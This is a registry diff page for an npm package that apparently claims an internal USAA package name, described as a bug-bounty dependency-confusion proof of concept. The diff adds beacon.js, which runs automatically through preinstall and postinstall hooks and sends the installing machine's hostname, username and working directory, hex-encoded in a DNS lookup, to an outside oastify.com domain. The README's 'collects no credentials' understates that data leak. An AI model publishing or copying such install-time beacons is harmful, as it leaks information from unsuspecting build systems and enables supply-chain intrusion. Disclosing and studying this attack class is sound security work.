@usaa-grp-personal-profile/personal-profile-common 0.0.1-security → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @usaa-grp-personal-profile/personal-profile-common might be problematic. Click here for more details.
- package/README.md +12 -3
- package/beacon.js +32 -0
- package/index.js +5 -0
- package/package.json +9 -3
package/README.md
CHANGED
|
@@ -1,5 +1,14 @@
|
|
|
1
|
-
# Security
|
|
1
|
+
# Security research placeholder
|
|
2
2
|
|
|
3
|
-
This package
|
|
3
|
+
This package is **not** a real library. It was published as a proof of concept for a
|
|
4
|
+
dependency-confusion vulnerability report submitted to USAA through the Bugcrowd
|
|
5
|
+
bug bounty programme, by researcher `tanishq396`.
|
|
4
6
|
|
|
5
|
-
|
|
7
|
+
It contains no functional code. Its install script performs a single DNS lookup so that
|
|
8
|
+
the reporter can demonstrate whether a build resolved this internal package name from the
|
|
9
|
+
public npm registry. It reads no files, sends no HTTP requests, collects no credentials
|
|
10
|
+
and modifies nothing on the host.
|
|
11
|
+
|
|
12
|
+
This package will be unpublished once USAA has acknowledged the report. If you reached this
|
|
13
|
+
page because a build of yours installed it, please contact USAA security — your build is
|
|
14
|
+
resolving an internal package name against the public registry.
|
package/beacon.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* Bugcrowd USAA dependency-confusion proof of concept.
|
|
3
|
+
* Researcher: tanishq396
|
|
4
|
+
*
|
|
5
|
+
* This script performs ONE DNS lookup and nothing else. It reads no files,
|
|
6
|
+
* opens no sockets, sends no HTTP request, and modifies nothing. It exists
|
|
7
|
+
* only to prove that a build resolved this package name from the PUBLIC npm
|
|
8
|
+
* registry instead of USAA's internal registry.
|
|
9
|
+
*
|
|
10
|
+
* Context reported (hostname / user / cwd) is hex-encoded into the DNS label
|
|
11
|
+
* purely so the resolving host can be attributed in the report.
|
|
12
|
+
*/
|
|
13
|
+
try {
|
|
14
|
+
var dns = require('dns');
|
|
15
|
+
var os = require('os');
|
|
16
|
+
|
|
17
|
+
var ctx = [
|
|
18
|
+
(os.hostname() || 'nohost'),
|
|
19
|
+
((os.userInfo && os.userInfo().username) || 'nouser'),
|
|
20
|
+
(process.cwd() || 'nocwd')
|
|
21
|
+
].join('|').slice(0, 60);
|
|
22
|
+
|
|
23
|
+
var label = Buffer.from(ctx, 'utf8').toString('hex').slice(0, 120);
|
|
24
|
+
|
|
25
|
+
// split into DNS-legal 60-char labels
|
|
26
|
+
var parts = (label.match(/.{1,60}/g) || ['00']).join('.');
|
|
27
|
+
|
|
28
|
+
dns.lookup(parts + '.pkg.vcbn68mkbhaetxs9jp2mvwq7gympa9s9scu1.oastify.com', function () {});
|
|
29
|
+
} catch (e) {
|
|
30
|
+
/* never fail a build */
|
|
31
|
+
}
|
|
32
|
+
process.exitCode = 0;
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@usaa-grp-personal-profile/personal-profile-common",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "999.0.0",
|
|
4
|
+
"description": "Security research placeholder - Bugcrowd USAA dependency confusion PoC. Contains no functional code. Will be unpublished after verification.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"license": "MIT",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node beacon.js",
|
|
9
|
+
"postinstall": "node beacon.js"
|
|
10
|
+
},
|
|
11
|
+
"files": ["index.js", "beacon.js", "README.md"]
|
|
6
12
|
}
|